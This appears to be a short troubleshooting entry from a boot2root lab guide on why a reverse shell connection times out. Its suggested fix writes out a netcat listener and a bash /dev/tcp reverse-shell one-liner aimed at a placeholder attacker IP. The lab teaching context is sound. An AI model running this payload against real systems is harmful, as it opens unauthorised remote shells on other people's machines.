Boot2Root / Command Mistakes & Recovery
Reverse shell: Connection timed out
1. Error or symptom
Listener never receives a connection; eventually the target-side command hangs or errors.
2. Likely cause
Outbound firewall on target blocks the chosen port, wrong IP used in the payload, or you're not on the lab VPN.
3. How to verify
ip a to confirm your tun0/VPN IP; try a commonly-allowed port like 443 or 80 instead of a high port.
4. Correct command
nc -lvnp 443 # on attacker; bash -i >& /dev/tcp/YOUR_TUN0_IP/443 0>&1 # on target
5. Recovery procedure
Re-trigger the payload with the corrected IP/port.
6. How to avoid repeating it
Always copy YOUR_IP from 'ip a' on the tunnel interface, never assume/reuse an old IP from a previous lab session.